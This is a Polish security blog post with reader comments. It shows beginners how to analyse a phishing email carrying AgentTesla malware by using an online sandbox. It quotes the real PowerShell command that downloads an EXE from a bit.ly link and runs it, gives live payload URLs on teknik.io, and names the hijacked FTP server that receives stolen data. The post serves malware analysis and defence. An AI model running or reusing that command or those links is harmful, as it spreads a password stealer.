14.01.2020 | 10:34

Adam Haertle

77 komentarzy

Analiza złośliwego kodu dla amatorów na świeżym przykładzie

Chcecie zobaczyć, jak radzimy sobie z analizą ataków, dysponując jedynie przeglądarką i kwadransem wolnego czasu? Pokażemy to na ciekawym przykładzie ataku z dzisiejszego poranka. Doświadczenie w analizie nie jest wymagane ;)

Czasem widzimy różne ataki i zastanawiamy się, czy są ciekawe (czyli warte opisania), czy też niekoniecznie. Wstępna analiza przebiegu ataku pozwala podjąć szybką decyzję, czy zawracać głowę prawdziwym analitykom malware’u. Oczywiście przedstawiona poniżej metoda obarczona jest sporymi błędami, ale to prawdopodobnie najlepsze, na co stać amatora z przeglądarką jako głównym narzędziem pracy.

Niepozorny e-mail

W nasze ręce trafił wczoraj rano e-mail, który na pierwszy rzut oka wyglądał dość niepozornie. Mieliśmy 3 identyczne kopie i przekonanie, że coś chyba jest nie tak.

Zrzut ekranu wiadomości

Nagłówki wiadomości przekonały nas, że coś jest na rzeczy.

Do: undisclosed-recipients:; 
Authentication-Results: server.linux80.papaki.gr; spf=pass (sender IP is ::1) [email protected] smtp.helo=webmail.apricotandsea.com
X-Sender: [email protected]
X-Ppp-Message-Id: [email protected]
Return-Path: [email protected]
X-Ppp-Vhost: apricotandsea.com
Received: from server.linux80.papaki.gr (server.linux80.papaki.gr [138.201.37.101]) by XXX (Postfix) with ESMTPS id 47x64d3QS0z1w7K for [email protected]; Mon, 13 Jan 2020 09:21:37 +0100 (CET)
Received: from webmail.apricotandsea.com (localhost.localdomain [IPv6:::1]) by server.linux80.papaki.gr (Postfix) with ESMTPSA id 13E2A1A49E10; Mon, 13 Jan 2020 10:21:34 +0200 (EET)
[email protected]
Received-Spf: pass (server.linux80.papaki.gr: connection is authenticated)

Wynika z nich, że choć adres rzekomego nadawcy jest w domenie PL, to serwery pośredniczące w wysyłce były w domenach COM i GR. Po co polska firma miałaby wysyłać wiadomości z greckiego serwera? Badamy dalej.

Cóż to za potwór w załączniku

Plik załącznika to prawdopodobnie kluczowy element pułapki. Nie będziemy go otwierać lokalnie, tylko od razu przekażemy ekspertom online. Wchodzimy zatem na stronę

https://app.any.run/

Wgrywamy plik na serwer i czekamy, co się stanie. A dzieje się całkiem sporo. Pod adresem

https://app.any.run/tasks/2ed4abe1-4021-4fe6-bea6-11f227e792b8/

możecie znaleźć wynik analizy. Ten serwis pozwala nawet obserwować, co dzieje się na ekranie komputera w trakcie uruchamiania załącznika. Widzimy zatem, że uruchomiony zostaje Word (w końcu to plik .DOC). W bocznym pasku po chwili widzimy przebieg wydarzeń.

Przebieg infekcji

Z raportu widzimy, że Word uruchomił Excela. Jak to możliwe? Dokument Worda miał osadzony fragment dokumentu Excela, MS Office pozwala na takie sztuczki (tak w ogóle to źródłowy dokument był plikiem RTF – można to na przykład sprawdzić, podglądając jego zawartość w edytorze heksadecymalnym). Z kolei Excel uruchomił PowerShella. Co stało się tutaj? W Excelu było makro w VBA, którego zadaniem było uruchomienie złośliwego skryptu. Po kliknięciu w moduł PowerShella widzimy, że uruchomione było polecenie

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bit.ly/2NmQqH7 ” , ”$ENv:teMp\1249.exe” ) ; stARt ”$ENv:tEMP\1249.exe”

Mamy zatem pobranie pliku przez serwis bit.ly, zapisanie go i uruchomienie. Przyjrzyjmy się najpierw linkowi bit.ly. Dodanie na jego końcu znaku „+” pozwala na poznanie statystyk ataku (pomaga też posiadanie konta na Bit.ly).

https://bitly.com/2NmQqH7+

Widzimy zatem 64 wejścia na link, z czego 5 prawdopodobnie z Polski. Widzimy też, że kampania z tym akurat linkiem ruszyła dzisiaj rano. Widzimy też link docelowy, z którego pobierany jest plik EXE:

https://u.teknik.io/0AJTD.txt

Co dzieje się dalej

W zakładce „CONNECTIONS” naszej automatycznej analizy widzimy najpierw połączenia do bit.ly, potem do teknik.io, a na końcu mamy niespodziankę – to połączenia do serwera FTP w polskiej domenie (ftp.brickhouse.pl) i polskiej serwerowni. Najwyraźniej przestępcy przejęli kontrolę nad kontem hostingowym polskiej firmy i zrobili tam sobie składzik wykradanych danych. Podgląd szczegółów tego połączenia pokazuje nam zrzut danych uwierzytelniających:

Dane uwierzytelniające do serwera przejętego przez przestępców

W zakładce”THREATS” widzimy, że mamy do czynienia ze złośliwym oprogramowaniem AgentTesla, więc możemy być prawie pewni, że na serwerze FTP lądują pliki z wykradzionymi z przeglądarek ofiar zapisanymi hasłami do używanych przez nich serwisów online.

Ciąg dalszy analizy

Na tym etapie wiemy już wystarczająco dużo, by powiadomić zespół CERT Polska o incydencie i liczyć na to, że skontaktują się z serwerownią i/lub jej klientem i zablokują dostęp do serwera FTP, uniemożliwiając lub znacząco utrudniając dalszy przebieg przestępstwa. Z publikacją artykułu czekaliśmy, aż dostęp do serwera zostanie odcięty, jednak wygląda na to, że ani firma posiadająca serwer, ani serwerownia, w której się znajduje, do tej pory nie uznały za stosowane zareagować. Może ten artykuł je do tego zachęci.

Mając więcej czasu, możemy zabrać się za poszukiwanie informacji o infrastrukturze przestępców i ewentualnych skojarzonych atakach. To ćwiczenie zostawimy już w rękach Czytelników – a proponujemy zacząć od serwisów takich jak VirusTotal i PassiveTotal oraz wskazanych wyżej domen i adresów IP. Może na coś natraficie :)

Od strony technicznej przebieg ataku po uruchomieniu pliku EXE dobrze pokazuje analiza innego automatu, VMRay. Pobrany plik

https://u.teknik.io/uEs1w.bin

jest dekompresowany i wstrzykiwany do innego procesu, dzięki czemu nawet przez chwilę nie jest zapisywany na dysku ofiary.

PS. Jeśli podoba się wam taki prosty wstęp do amatorskiej analizy malware’u w przeglądarce, to dajcie znać – będziemy pisać więcej na ten temat.

Powrót

Komentarze

  • 2020.01.14 10:50 Dawid

    Więcej ! Łącznie z bardziej zaawansowanymi przykładami :)

    Odpowiedz
  • 2020.01.14 10:59 fcss

    Podoba się. Wincyj!

    Odpowiedz
  • 2020.01.14 11:01 Mrk

    Polecam też sandbox i analizator hybrid-analysis.com

    Odpowiedz
  • 2020.01.14 11:16 Paweł

    Bardzo chętnie poczytam więcej podobnych artykułów. Może jakiś dodatkowy opis możliwości użytych narzędzi plus zamienniki, gdyby za jakiś czas padły te użyte teraz?

    Odpowiedz
  • 2020.01.14 11:26 Artur

    Brawo, oby więcej. Im więcej nauczą się ludzie widzieć samemu, tym lepiej. Przy okazji Adamie mała prosba o wprowadzenie do artykułu w formie przypisów ograniczen stosowanych narzędzi. Ich używanie jest tak bezpieczne jak świadomość użytkownika o ich ograniczeniach. Czasami wydaje sie, ze perspektywy działania sa szerokie, a to nic innego jak dobry widok z Górki Głupców, po której następuje spektakularny upadek w osobistą Dolinę Rozpaczy.
    Z góry dzięki!

    Odpowiedz
  • 2020.01.14 11:27 Tomasz

    Bardzo fajny artykuł, jestem za tym, żeby było ich więcej :)

    Odpowiedz
  • 2020.01.14 11:32 Piotr

    Cześć,
    daję bardzo bardzo znać, że się podoba :)
    dziękuję i poproszę o więcej :)

    Odpowiedz
  • 2020.01.14 11:41 Marek

    Tak poprosze :)

    Odpowiedz
  • 2020.01.14 11:52 Krystian

    Bardzo się podoba, oby jak najwięcej takich tekstów ;-)

    Odpowiedz
  • 2020.01.14 12:14 nn

    app.any.run – świetne narzędzie, dzięki!

    Odpowiedz
  • 2020.01.14 12:32 Bartek

    Jest git.

    Odpowiedz
  • 2020.01.14 12:44 Max

    Podoba się – chcemy więcej! :)

    Odpowiedz
  • 2020.01.14 13:13 Q

    Super – więcej :)

    Odpowiedz
  • 2020.01.14 13:33 Jacek

    Jak dla mnie super. Od początku pokazane dla kogoś kto chciałby usiąść do tematu. A nawet nie wie jak się za to zabrać.

    Odpowiedz
  • 2020.01.14 14:04 Jacek

    Bardzo dobry wstęp. Analiza malware’u innymi narzędziami niż przeglądarka może też zaciekawić czytelników. Sam chętnie bym o czymś takim poczytał.

    Odpowiedz
  • 2020.01.14 14:08 Stas

    > Jeśli podoba się wam taki prosty wstęp do amatorskiej analizy malware’u w przeglądarce, to dajcie znać

    Podoba się! Nawet bardzo.

    Pytanie: skąd bierzecie te próbki maili? Ludzie je Wam tak z uprzejmości przysyłają?

    Odpowiedz
    • 2020.01.14 20:18 Adam Haertle

      Tak, także z własnych spamtrapów

      Odpowiedz
  • 2020.01.14 14:16 Zbysiu

    Ciekawy artykul. Czy macro osadzone w excelu osadzonym w wordzie wyswietla monit z zapytaniem „Czy chcesz uruchomic macro?”?

    Odpowiedz
    • 2020.01.14 20:17 Adam Haertle

      Tak.

      Odpowiedz
  • 2020.01.14 15:59 Adrian

    https://app.any.run/

    wow, nawet nie wiedziałem że istnieje takie zaj***ste narzędzie.

    Odpowiedz
  • 2020.01.14 16:21 Bezimienny

    Świetny artykuł, oby takich więcej

    Odpowiedz
  • 2020.01.14 16:23 Jaroslaw

    Z jednej strony to bardzo ciekawe, a z drugiej w sumie nudne. Chyba 99% tych atakow przez zalacznik tak dziala. Cos uruchamiasz i cos sciagasz i na koncu czyms sie infekujesz.

    Odpowiedz
  • 2020.01.14 16:24 Emil

    Ciekawy artykuł – z chęcią przeczytałbym podobne analizy innych ataków. Przydałaby się jeszcze informacja jak różne programy antywirusowe reagują na taki atak – czy są w stanie go wykryć i mu zapobiec czy może go ignorują.

    Odpowiedz
  • 2020.01.14 17:49 Michał

    Świetne! Więcej, więcej!

    Odpowiedz
  • 2020.01.14 17:59 Karol

    Więcej pisać, jak najbardziej :)

    Odpowiedz
  • 2020.01.14 18:08 zglądacz

    No ba! Pewnie, że się podoba!
    Jeszcze niedawno był tylko VirusTotal, Jottti i VirSCAN. A teraz wyrosło jak grzybów tych serwisów, gdzie można coś odpalić i obserwować (w dodatku darmo), ale człowiek nie nadążą. Fajnie jakby ktoś zebrał do kupy takie narzędzia, porównał i podpowiedział z których warto korzystać, szczególnie na takich ciekawych przykładach.

    Odpowiedz
    • 2020.01.15 01:11 Marek

      O to to! +1

      Odpowiedz
  • 2020.01.14 18:35 Daro

    Dzieki fajny material, chce wiecej :)

    Odpowiedz
  • 2020.01.14 18:39 G7

    Nie zdałem tego narzędzia (any.run) strona już dodana do przeglądarki. Przyda się na pewno. Polecacie może jeszcze jakieś serwisy tego typu?

    Odpowiedz
  • 2020.01.14 18:46 Krzysiek

    Daję znać :)

    Odpowiedz
  • 2020.01.14 19:02 Michal

    Bardzo fajne i edukujące :) Ekstra materiał.

    Odpowiedz
  • 2020.01.14 19:11 Wojtek

    Podoba mi sie i daje znać:)

    Odpowiedz
  • 2020.01.14 19:38 agentTomek

    tak

    Odpowiedz
  • 2020.01.14 20:11 Jasiek

    „PS. Jeśli podoba się wam taki prosty wstęp do amatorskiej analizy malware’u w przeglądarce, to dajcie znać – będziemy pisać więcej na ten temat.” – Daję znać ,poprosze o więcej :)

    Odpowiedz
  • 2020.01.14 20:16 xH

    Wincyyyyj!

    Odpowiedz
  • 2020.01.14 20:24 VM

    Jak najbardziej się podoba i czekamy na więcej!!!!

    Odpowiedz
  • 2020.01.14 20:56 Zenon

    Rewela!!!
    Proszę dalej….:)

    Odpowiedz
  • 2020.01.14 21:20 Kama

    Super?

    Odpowiedz
  • 2020.01.14 21:43 Marcin

    Cześć !

    Wśród wielu komentarzy domagających się więcej tego typu analiz chciałbym zwrócić uwagę na jeden istotny szczegół.

    UWAŻAJCIE CO WRZUCACIE DO TEGO TYPU NARZĘDZI!!!

    Pokazywanie tego typu automatycznych narzędzi, które analizują wszystko za użytkownika może nieść za sobą poważne konsekwencje. Nowy adept bezpieczeństwa IT widząc jak szybko i łatwo można otrzymać raport dotyczący podejrzanej próbki zacznie wrzucać każdy podejrzany plik a jak wiadomo nie każdy podejrzany mail musi oznaczać kampanie złośliwego oprogramowania. Mogą się tam zanodować różne poufne informacje dotyczące firmy, klientów itp. Zresztą sami o tym pisaliście:

    https://zaufanatrzeciastrona.pl/post/wazne-i-poufne-dokumenty-wielu-polskich-firm/

    Innym przykładem może być malware Olympic Destroyer w kodzie którego można było poznać loginy i hasła jednej z firm obsługujących Igrzyska od strony informatycznej.

    https://niebezpiecznik.pl/post/atos-dostawca-uslug-it-dla-igrzysk-olimpijskich-zhackowany/

    Radziłbym podchodzić do tego typy narzędzi z dużą dozą ostrożności i używać ich w ostateczności. Zamiast od razu wrzucać podejrzany plik można wygenerować jego hash np. za pomocą HashMyFiles i zacząć szukać w tego typu serwisach lub w Internecie.

    Pozdrawiam !

    Odpowiedz
  • 2020.01.14 22:24 Mix

    Bardzo się mi podobało, więcej chętnie poczytam na temat ten.

    Odpowiedz
  • 2020.01.14 23:05 Spirydion Albański

    Znakomity, niesłychanie użyteczny artykuł! Proszę o więcej.

    Odpowiedz
  • 2020.01.14 23:26 Dudek

    Email z poniedzialku z dzisiaj wtorek, nie daliscie ludziom z CERT i brockhouse zbyt wiele czasu ;)
    Pytanie dodatkowe – czy jest sens drazyc skad zostal nadany email (papaki.gr) zeby chociaz powiadomic adminow zeby sprawdzili swoje logi?

    Odpowiedz
  • 2020.01.15 01:09 Marek

    Więcej! Nie tylko analizy malware ale też szczegółowych opisów wszelkich innych analiz które zdarza Wam się przeprowadzać.

    Any.run – korzystacie z darmowego czy macie płatne konto?

    Odpowiedz
    • 2020.01.15 21:07 Adam Haertle

      Darmowe na razie wystarcza

      Odpowiedz
  • 2020.01.15 01:16 gosc

    Myśleliście kiedyś nad „patronite” lub czymś podobnym?

    Odpowiedz
    • 2020.01.15 21:06 Adam Haertle

      Tak ale na razie twórczość sponsorują inne aktywności redaktora naczelnego :)

      Odpowiedz
  • 2020.01.15 01:28 nicjit

    Końkret!!!

    Odpowiedz
  • 2020.01.15 08:06 mateusz

    super. chętnie poczytam więcej:-)

    Odpowiedz
  • 2020.01.15 08:07 mk

    Świetny artykuł. Poproszę więcej.
    Dodatkowo przy takich artykułach prośba o komentarz czy wysyłając plik do analizy automatycznie zgadzam się na jego publikację. Ludzie mogą tego nie wiedzieć i wysyłać „na wszelki wypadek” również normalne pliki z danymi np. osobowymi…

    Odpowiedz
  • 2020.01.15 09:15 rolnik

    Więcej, tylko nie piszcie, że „coś jest na rzeczy”. Ten zwrot spopularyzowała pani Hanna L. gdy była gwiazdą jakichś wiadomości i wydawało jej się, że posługuje się poprawną polszczyzną.

    Odpowiedz
  • 2020.01.15 09:50 Pawel

    Dobre

    Odpowiedz
  • 2020.01.15 11:01 m

    https://www.vmray.com/analyses/15a9c9637279/report/overview.html kaspersky blokuje twiedząc, że trojan.miner…

    Odpowiedz
  • 2020.01.15 11:16 Chuck

    Daję znać

    Odpowiedz
  • 2020.01.15 11:54 Wojciech

    Wincyj!

    Odpowiedz
  • 2020.01.15 12:53 Jack

    Bardzo fajnie opisane. Proponowałbym tylko „defang” na potencjalnie niebezpiecznych domenach. Obecnie są klikalne :) Np. hxxps://u.teknik[.]io/, unikniemy przez to przypadkowych kliknięć :)

    Odpowiedz
    • 2020.01.15 21:05 Adam Haertle

      Nie jestem zwolennikiem, tu rzadko zaglądają przypadkowe osoby a witryna to zwykły pastebin :)

      Odpowiedz
  • 2020.01.15 13:13 Michał

    Wreszcie coś dla ludzi. Najlepsze źródło wiedzy to praktyczne przypadki i ich analiza.

    Odpowiedz
  • 2020.01.15 16:09 lol

    Buhahaha i w czymś takim człowiek ma brać udział. Polscy eksperci level dotarłem do sedna materii

    Odpowiedz
  • 2020.01.15 16:46 Mateusz

    wiecej!

    Odpowiedz
  • 2020.01.15 17:19 qwerty

    oczywiście że się podoba, więcej!

    Odpowiedz
  • 2020.01.15 18:51 Przemek

    Super, wiecej :)

    Odpowiedz
  • 2020.01.15 19:49 mrDahold

    Excel spyta o wykonanie makra. Czy user będzie spytany o zdanie jeszcze gdzieś indziej? Wykonanie polecenia z powershella? Ściągnięcie pliku z ftp? Wykonanie .exe?

    Odpowiedz
    • 2020.01.15 21:04 Adam Haertle

      Tylko o makro

      Odpowiedz
  • 2020.01.15 21:39 Artur

    Super!!! Podoba się i to bardzo. Więcej więcej :-D

    Odpowiedz
  • 2020.01.16 06:58 Bart

    More! :D ;)

    Odpowiedz
  • 2020.01.16 07:43 Paweł

    A ja zadam jeszcze pytanie: w jaki sposób można się bronić przed tego typu atakami ? Dość niestandardowo zrobione bo adres z domeny pojawia się tylko w X-Sender i Return-Path, Wysłane z obcego serwera, nie należącego do właściciela domeny, SPF + DKIM na domenie jest, serwer pozabezpieczany (integralność nie została naruszona).. A właściciel domeny i tak dostał DDOS’a ze zwrotek.

    Odpowiedz
    • 2020.01.16 09:32 Adam Haertle

      Np blokować wykonanie makro w dokumentach nie znajdujących się w zaufanych lokalizacjach.

      Odpowiedz
      • 2020.01.16 12:44 Paweł

        Blokowanie makr z nieznanych źródeł to wiadoma sprawa, ale co ma zrobić właściciel serwera, gdy (jak w typ przypadku) nagle pół internetu wysyła do niego wiadomość zwrotną, że mail (którego nie był wysłany z jego infrastruktury) nie został dostarczony. Akurat ten konkretny spam dotknął jednego z serwerów, którymi się opiekuję. Ilość zwrotek o niedostarczeniu/zablokowaniu wiadomości była co najmniej przytłaczająca.

        Odpowiedz
  • 2020.01.16 07:48 Vaccines

    Ten plik z linku bitly+ jest bezpieczny do kliknięcia?

    Mniemam, że ten z „teknik” ściąga trojana.

    Odpowiedz
    • 2020.01.16 09:32 Adam Haertle

      Można pobrać, samo pobranie nic nie robi. Trzeba by dopiero zapisać jako .EXE i wykonać w środowisku Windows – wtedy dopiero się uruchomi.

      Odpowiedz
  • 2020.01.16 09:47 student

    Super sprawa! Nie miałem pojęcia że takie narzędzia są dostępne online. Czekam na więcej!

    Odpowiedz
  • 2020.01.16 19:31 HardwareBased

    Makro podpisane kluczem, biała lista nadawców a jak nie to mail do /dev/null lub sprawdzenia przez zespół 'Sec’. Na stacjach zwykły user bez prawa wykonywania power shell’a. Wszystkie kłopoty w bezpieczeństwie biorą się z braku gwarantowanego i pewnego źródła zaufania. W innym wątku ktoś pisze, że praw fizyki i matematyki nie da się złamać. Tyle, że robimy wciąż za mało by choć trochę zbliżyć się do dobrej implementacji (tch praw i reguł uniwersalnych). Jakoś zachwyt nad blockchainem nie zrewolucjonizował zbudowanej jeszcze w poprzednim wieku hierarchii serwerów root DNS i zaufania w tożsamym modelu. Wciąż nie mamy powszechnej i prawnie zrównanej cyfrowej tożsamości. Spróbujcie znaleźć wspólnie uznawany przez strony B2B system gwarantowania cyfrowej tożsamości wykorzystujący te uniwersalne prawa matematyki i fizyki.

    Odpowiedz
  • 2020.01.16 21:11 Fg

    Prawdziwe mięso daliście dzisiaj. Dajcie więcej o reverse engeenieringu złośliwego oprogramowania. Fajna ta apka do skanowania i wykonywania malwareu. Keep it up.

    Odpowiedz
  • 2020.01.17 09:24 Marcin

    Gratulacje – Super tekst!
    Proszę o więcej takich materiałów :)

    Odpowiedz
  • 2020.01.18 08:05 Joanna

    Bardzo się podoba. Prosimy o więcej! ?

    Odpowiedz
  • 2020.01.18 22:45 rsajdok

    Więcej :)

    Odpowiedz
  • 2021.04.15 05:23 Paweł

    Ekstra!

    Odpowiedz

Zostaw odpowiedź do Marek

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Analiza złośliwego kodu dla amatorów na świeżym przykładzie

Komentarze